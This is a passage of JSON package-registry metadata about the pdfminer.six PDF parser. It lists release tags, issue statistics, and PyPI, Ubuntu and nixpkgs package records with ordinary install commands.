analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":280979478,"owners_count":26423968,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-25T02:00:06.499Z","response_time":81,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2026-03-16T12:35:05.767Z","dependent_packages_count":0,"downloads":106,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":28.836821966251,"dependent_repos_count":22.23250655214879,"dependent_packages_count":7.373338280337238,"stargazers_count":0.4326425126014777,"forks_count":1.455162413565207,"docker_downloads_count":null,"average":12.066094344980744},"purl":"pkg:pypi/20220429-pdfminer-jameslp310","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/20220429-pdfminer-jameslp310","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pypi/20220429-pdfminer-jameslp310","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/20220429-pdfminer-jameslp310/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-23T19:00:58.612Z","issues_count":304,"pull_requests_count":172,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":49,"issue_authors_count":193,"avg_comments_per_issue":1.736842105263158,"avg_comments_per_pull_request":1.2965116279069766,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":65,"past_year_pull_requests_count":69,"past_year_avg_time_to_close_issue":1736811.2272727273,"past_year_avg_time_to_close_pull_request":1990456.6538461538,"past_year_issues_closed_count":22,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":31,"past_year_avg_comments_per_issue":0.9384615384615385,"past_year_avg_comments_per_pull_request":0.9565217391304348,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":43,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/20220429-pdfminer-jameslp310/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/20220429-pdfminer-jameslp310/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/20220429-pdfminer-jameslp310/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/20220429-pdfminer-jameslp310/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/20220429-pdfminer-jameslp310/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/20220429-pdfminer-jameslp310/codemeta","maintainers":[{"uuid":"jameslp310","login":"jameslp310","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/jameslp310/","role":null,"created_at":"2022-11-15T11:37:36.174Z","updated_at":"2022-11-15T11:37:36.174Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/jameslp310/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":873148,"maintainers_count":373398,"namespaces_count":0,"keywords_count":280639,"github":"pypi","metadata":{"funded_packages_count":53810},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-05-13T05:09:37.527Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":13430385,"name":"pdfminer","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["universe/python"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-07T17:44:17.781Z","latest_release_published_at":"2026-02-07T17:44:17.781Z","latest_release_number":"20220319+dfsg-1","last_synced_at":"2026-03-07T18:32:55.019Z","created_at":"2026-02-07T17:44:16.645Z","updated_at":"2026-03-07T19:02:20.570Z","registry_url":"https://launchpad.net/ubuntu/+source/pdfminer","install_command":"apt-get install pdfminer","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"python3-pdfminer, pdfminer-data","standards_version":"4.6.0","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python3-all, python3-chardet, python3-cryptography, python3-nose, python3-setuptools, python3-sortedcontainers, rename, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/pdfminer?arch=source\u0026distro=ubuntu-22.04\u0026repository_url=https://launchpad.net/ubuntu/jammy","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"ubuntu-22.04","url":"https://launchpad.net/ubuntu/jammy","ecosystem":"ubuntu","default":false,"packages_count":34289,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"jammy"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:46.486Z","updated_at":"2026-04-27T18:20:36.155Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/namespaces"}},{"id":12830417,"name":"python311Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-01-26T19:47:27.893Z","latest_release_published_at":"2026-01-26T19:47:27.893Z","latest_release_number":"20221105","last_synced_at":"2026-04-14T13:00:19.740Z","created_at":"2026-01-26T19:47:27.626Z","updated_at":"2026-04-14T13:31:32.954Z","registry_url":"https://search.nixos.org/packages?channel=23.05\u0026query=python311Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python311Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.05/pkgs/development/python-modules/pdfminer-six/default.nix#L60","metadata":{"nix_attribute":"python3.11-pdfminer-six-20221105","position":"pkgs/development/python-modules/pdfminer-six/default.nix:60","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mipsel-linux","mips64el-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python311Packages.pdfminer-six?channel=23.05\u0026repository_url=https://channels.nixos.org/nixos-23.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python311Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python311Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python311Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python311Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"marsam","login":null,"name":"Mario 